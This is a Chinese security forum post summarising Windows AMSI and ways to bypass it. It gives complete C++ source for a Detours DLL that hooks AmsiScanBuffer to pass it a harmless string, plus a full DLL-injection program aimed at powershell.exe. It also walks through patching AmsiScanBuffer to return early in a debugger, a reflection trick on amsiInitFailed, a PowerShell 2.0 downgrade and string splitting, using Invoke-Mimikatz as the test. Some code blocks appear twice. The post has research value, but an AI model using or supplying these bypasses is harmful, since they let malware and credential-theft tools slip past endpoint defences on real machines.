首页
社区
课程
招聘
[分享]AMSI简介及绕过方法总结
发表于: 2025-2-21 18:39 6254

[分享]AMSI简介及绕过方法总结

2025-2-21 18:39
6254

AMSI,全称是Antimalware Scan Interface,即:反恶意软件扫描接口。是微软在 Windows 10、Windows server 2016及后续版本中引入的安全机制,目的是为了增强对动态脚本和内存攻击的检测能力。AMSI提供标准化的接口,允许应用程序(如PowerShell、VBScript、Office宏等)在执行代码前,将内容提交给反恶意软件引擎(默认为Windows Defender)进行实时扫描,从而拦截恶意行为。

图片描述

(1)Win32 API

(2)Com 接口

AMSI 功能目前已经集成到 Windows 的这些组件中:

(1)编写hook AmsiScanBuffer的DLL。

(2)DLL注入代码。

(3)打开powershell,运行进程注入代码,将AmsiHookDll.dll注入到powershell.exe中。
图片描述
图片描述
(4)运行Process Explorer,看到AmsiHookDll.dll已经成功注入到powershell.exe中。
图片描述
(5)powershell中执行恶意内容:Invoke-Mimikatz,仍然被AMSI拦截,绕过失败,大概是因为新版本的AMSI引入了更强的内存保护机制,会扫描目标进程的内存,检测是否存在被篡改的 AMSI 函数或异常行为。
图片描述

(1)打开powershell进程,目前输入Invoke-Mimikatz命令会被AMSI拦截。
图片描述
(2)打开x64dbg调试器,附加powershell进程,定位amsi.dll中的AmsiScanBuffer函数。
图片描述
(3)跳转到AmsiScanBuffer函数的入口地址,修改指令为ret,使程序运行到AmsiScanBuffer时直接返回调用者。
图片描述
(4)再次在powershell中输入Invoke-Mimikatz命令,发现已绕过AMSI检测。
图片描述

(1)将类名和字段名拆分成两部分,通过数字编码隐藏原始字符串。

(2)解码类名:System.Management.Automation.AmsiUtils

(3)解码字段名:amsiInitFailed

(4)反射修改AMSI状态

(5)在powershell中执行脚本,绕过AMSI。
图片描述

低版本的powershell(2.0)没有AMSI,所以在powershell2.0上执行恶意内容不会被AMSI检测
通过降低powershell的当前运行版本来绕过AMSI,由于版本较低,可能存在部分攻击脚本无法在powershell 2.0上运行的情况

(1)查看当前运行的powershell版本:$PSVersionTable
图片描述
(2)执行命令将powershell运行版本改为2.0,再次执行恶意内容,发现已绕过AMSI检测。

图片描述

通过分块、重组敏感字符串/代码等,绕过AMSI检测。

图片描述

AmsiCloseSession            关闭由 AmsiOpenSession 打开的会话
AmsiInitialize              初始化 AMSI API
AmsiNotifyOperation         向反恶意软件提供程序发送任意操作的通知
AmsiOpenSession             打开一个会话,在该会话中可以关联多个扫描请求
AmsiResultIsMalware         确定扫描结果是否指示应阻止内容
AmsiScanBuffer              扫描缓冲区内容寻找恶意软件
AmsiScanString              扫描字符串中的恶意软件
AmsiUninitialize            删除最初由 AmsiInitialize 打开的 AMSI API 实例
AmsiCloseSession            关闭由 AmsiOpenSession 打开的会话
AmsiInitialize              初始化 AMSI API
AmsiNotifyOperation         向反恶意软件提供程序发送任意操作的通知
AmsiOpenSession             打开一个会话,在该会话中可以关联多个扫描请求
AmsiResultIsMalware         确定扫描结果是否指示应阻止内容
AmsiScanBuffer              扫描缓冲区内容寻找恶意软件
AmsiScanString              扫描字符串中的恶意软件
AmsiUninitialize            删除最初由 AmsiInitialize 打开的 AMSI API 实例
IAmsiStream 接口                                  表示要扫描的流
    IAmsiStream::GetAttribute 方法               流中返回请求的属性
    IAmsiStream::Read 方法                       请求要读取的缓冲区内容
      
  
IAntimalware 接口                                 表示反恶意软件产品
    IAntimalware::CloseSession 方法              关闭会话
    IAntimalware::Scan 方法                      扫描内容流
            
IAntimalware2 接口                                表示反恶意软件产品
    IAntimalware2::Notify 方法                   向反恶意软件产品发送任意操作的通知
  
IAntimalwareProvider 接口                         表示反恶意软件产品的提供商              
    IAntimalwareProvider::CloseSession 方法      关闭会话
    IAntimalwareProvider::DisplayName 方法       要显示的反恶意软件提供程序的名称
    IAntimalwareProvider::Scan 方法              扫描内容流 
                      
IAntimalwareProvider2 接口                        表示反恶意软件产品的提供商
    IAntimalwareProvider2::Notify 方法           向反恶意软件提供程序发送任意操作的通知
IAmsiStream 接口                                  表示要扫描的流
    IAmsiStream::GetAttribute 方法               流中返回请求的属性
    IAmsiStream::Read 方法                       请求要读取的缓冲区内容
      
  
IAntimalware 接口                                 表示反恶意软件产品
    IAntimalware::CloseSession 方法              关闭会话
    IAntimalware::Scan 方法                      扫描内容流
            
IAntimalware2 接口                                表示反恶意软件产品
    IAntimalware2::Notify 方法                   向反恶意软件产品发送任意操作的通知
  
IAntimalwareProvider 接口                         表示反恶意软件产品的提供商              
    IAntimalwareProvider::CloseSession 方法      关闭会话
    IAntimalwareProvider::DisplayName 方法       要显示的反恶意软件提供程序的名称
    IAntimalwareProvider::Scan 方法              扫描内容流 
                      
IAntimalwareProvider2 接口                        表示反恶意软件产品的提供商
    IAntimalwareProvider2::Notify 方法           向反恶意软件提供程序发送任意操作的通知
HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,  // AMSI 上下文句柄
  PVOID        buffer,       // 待扫描数据指针
  ULONG        length,       // 数据长度
  LPCWSTR      contentName,  // 内容标识(如脚本名)
  HAMSISESSION amsiSession,  // 会话句柄(可选)
  AMSI_RESULT *result        // 输出扫描结果
);
HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,  // AMSI 上下文句柄
  PVOID        buffer,       // 待扫描数据指针
  ULONG        length,       // 数据长度
  LPCWSTR      contentName,  // 内容标识(如脚本名)
  HAMSISESSION amsiSession,  // 会话句柄(可选)
  AMSI_RESULT *result        // 输出扫描结果
);
#include "pch.h"
#include <Windows.h>
#include "detours.h"
#include <amsi.h>
#include <iostream>
#include <sstream>
#include <iomanip>
#include "detours.h"
#pragma comment(lib, "amsi.lib")
  
#define SAFE "SafeString"
  
// 保存原始的 AmsiScanBuffer 函数地址,以便在自定义函数中调用
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,
    PVOID buffer, ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result) = AmsiScanBuffer;
  
// 自定义函数 _AmsiScanBuffer
__declspec(dllexport) HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,
    PVOID buffer, ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result) {
  
    std::cout << "[+] AmsiScanBuffer called" << std::endl;
    std::cout << "[+] Buffer " << buffer << std::endl;
    std::cout << "[+] Buffer Length " << length << std::endl;
      
    // 将传入的 buffer(实际扫描内容)替换为 SAFE(无害字符串)
    // 调用原始 AmsiScanBuffer,但传入的是篡改后的内容,从而绕过检测
    return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);
}
  
// DLL 入口点
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  dwReason,
    LPVOID lpReserved
)
{
    if (DetourIsHelperProcess()) {
        return TRUE;
    }
      
    // 初始化hook
    if (dwReason == DLL_PROCESS_ATTACH) {
  
        AllocConsole();
        freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);
  
        DetourRestoreAfterWith();
        LONG error = DetourTransactionBegin();
        if (error != NO_ERROR) {
            std::cerr << "[!] Transaction Begin Failed: " << error << std::endl;
            return FALSE;
        }
  
        error = DetourUpdateThread(GetCurrentThread());
        if (error != NO_ERROR) {
            std::cerr << "[!] UpdateThread Failed: " << error << std::endl;
            DetourTransactionAbort();
            return FALSE;
        }
          
        // 在 DLL 加载时,使用 DetourAttach 将 AmsiScanBuffer 替换为 _AmsiScanBuffer
        DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
        error = DetourTransactionCommit();
        if (error != NO_ERROR) {
            std::cerr << "[!] Commit Failed: " << error << std::endl;
            return FALSE;
        }
        else {
            std::cout << "[+] Detour Success!" << std::endl;
        }
    }
    // DLL 卸载,恢复原始函数
    else if (dwReason == DLL_PROCESS_DETACH) {
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
        DetourTransactionCommit();
        FreeConsole();
    }
    return TRUE;
}
#include "pch.h"
#include <Windows.h>
#include "detours.h"
#include <amsi.h>
#include <iostream>
#include <sstream>
#include <iomanip>
#include "detours.h"
#pragma comment(lib, "amsi.lib")
  
#define SAFE "SafeString"
  
// 保存原始的 AmsiScanBuffer 函数地址,以便在自定义函数中调用
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,
    PVOID buffer, ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result) = AmsiScanBuffer;
  
// 自定义函数 _AmsiScanBuffer
__declspec(dllexport) HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,
    PVOID buffer, ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result) {
  
    std::cout << "[+] AmsiScanBuffer called" << std::endl;
    std::cout << "[+] Buffer " << buffer << std::endl;
    std::cout << "[+] Buffer Length " << length << std::endl;
      
    // 将传入的 buffer(实际扫描内容)替换为 SAFE(无害字符串)
    // 调用原始 AmsiScanBuffer,但传入的是篡改后的内容,从而绕过检测
    return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);
}
  
// DLL 入口点
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  dwReason,
    LPVOID lpReserved
)
{
    if (DetourIsHelperProcess()) {
        return TRUE;
    }
      
    // 初始化hook
    if (dwReason == DLL_PROCESS_ATTACH) {
  
        AllocConsole();
        freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);
  
        DetourRestoreAfterWith();
        LONG error = DetourTransactionBegin();
        if (error != NO_ERROR) {
            std::cerr << "[!] Transaction Begin Failed: " << error << std::endl;
            return FALSE;
        }
  
        error = DetourUpdateThread(GetCurrentThread());
        if (error != NO_ERROR) {
            std::cerr << "[!] UpdateThread Failed: " << error << std::endl;
            DetourTransactionAbort();
            return FALSE;
        }
          
        // 在 DLL 加载时,使用 DetourAttach 将 AmsiScanBuffer 替换为 _AmsiScanBuffer
        DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
        error = DetourTransactionCommit();
        if (error != NO_ERROR) {
            std::cerr << "[!] Commit Failed: " << error << std::endl;
            return FALSE;
        }
        else {
            std::cout << "[+] Detour Success!" << std::endl;
        }
    }
    // DLL 卸载,恢复原始函数
    else if (dwReason == DLL_PROCESS_DETACH) {
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
        DetourTransactionCommit();
        FreeConsole();
    }
    return TRUE;
}
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
  
// 注入DLL
BOOL InjectDll(DWORD procID, const char* dllName) {
    char fullDllName[MAX_PATH];
    LPVOID loadLibrary;
    LPVOID remoteString;
  
    if (procID == 0) {
        return FALSE;
    }
      
    // 打开目标进程,获取进程句柄
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
    if (hProc == INVALID_HANDLE_VALUE) {
        return FALSE;
    }
      
    // 获取DLL文件的完整路径
    GetFullPathNameA(dllName, MAX_PATH, fullDllName, NULL);
    std::cout << "[+] Acquired full DLL path: " << fullDllName << std::endl;
      
    // 获取 LoadLibraryA 函数的地址,用于在目标进程中加载 DLL
    loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
  
    // 在目标进程中分配内存,用于存储 DLL 路径
    remoteString = VirtualAllocEx(hProc, NULL, strlen(fullDllName), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
      
    // 将 DLL 路径写入目标进程的内存
    WriteProcessMemory(hProc, remoteString, fullDllName, strlen(fullDllName), NULL);
  
    // 在目标进程中创建远程线程,调用 LoadLibraryA 加载 DLL
    CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)loadLibrary, remoteString, NULL, NULL);
      
    // 关闭目标进程句柄
    CloseHandle(hProc);
    return TRUE;
}
  
// 通过进程名获取进程PID
DWORD GetProcIDByName(const char* procName) {
    HANDLE hSnap;
    BOOL done;
    PROCESSENTRY32 procEntry;
  
    ZeroMemory(&procEntry, sizeof(PROCESSENTRY32));
    procEntry.dwSize = sizeof(PROCESSENTRY32);
      
    hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 获取系统进程快照
    done = Process32First(hSnap, &procEntry); // 初始化 PROCESSENTRY32 结构体,用于存储进程信息
      
    // 遍历进程快照,查找与 procName 匹配的进程,如果找到匹配的进程,返回其 PID;否则返回 0
    do {
        char szExeFile[MAX_PATH];
        WideCharToMultiByte(CP_ACP, 0, procEntry.szExeFile, -1, szExeFile, MAX_PATH, NULL, NULL);
        if (_strnicmp(szExeFile, procName, strlen(procName)) == 0) {
            return procEntry.th32ProcessID;
        }
    } while (Process32Next(hSnap, &procEntry));
  
    return 0;
}
  
int main() {
    const char* processName = "powershell.exe";
    const char* dllName = "C:\\Users\\Administrator\\Desktop\\AmsiHookDll.dll";
    DWORD procID = GetProcIDByName(processName);
  
    if (procID == 0) {
        std::cout << "[-] Could not find process with name: " << processName << std::endl;
        return 1;
    }
  
    std::cout << "[+] Got process ID for " << processName << " PID: " << procID << std::endl;
  
    if (InjectDll(procID, dllName)) {
        std::cout << "DLL injected successfully!" << std::endl;
    }
    else {
        std::cout << "DLL injection failed" << std::endl;
    }
  
    return 0;
}
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
  
// 注入DLL
BOOL InjectDll(DWORD procID, const char* dllName) {
    char fullDllName[MAX_PATH];
    LPVOID loadLibrary;
    LPVOID remoteString;
  
    if (procID == 0) {
        return FALSE;
    }
      
    // 打开目标进程,获取进程句柄
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费
支持
分享
最新回复 (4)
雪    币: 413
活跃值: (837)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
2
收藏 ,谢谢。
2025-2-24 07:51
0
雪    币: 4021
活跃值: (4287)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
感谢分享。
2025-2-26 18:57
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册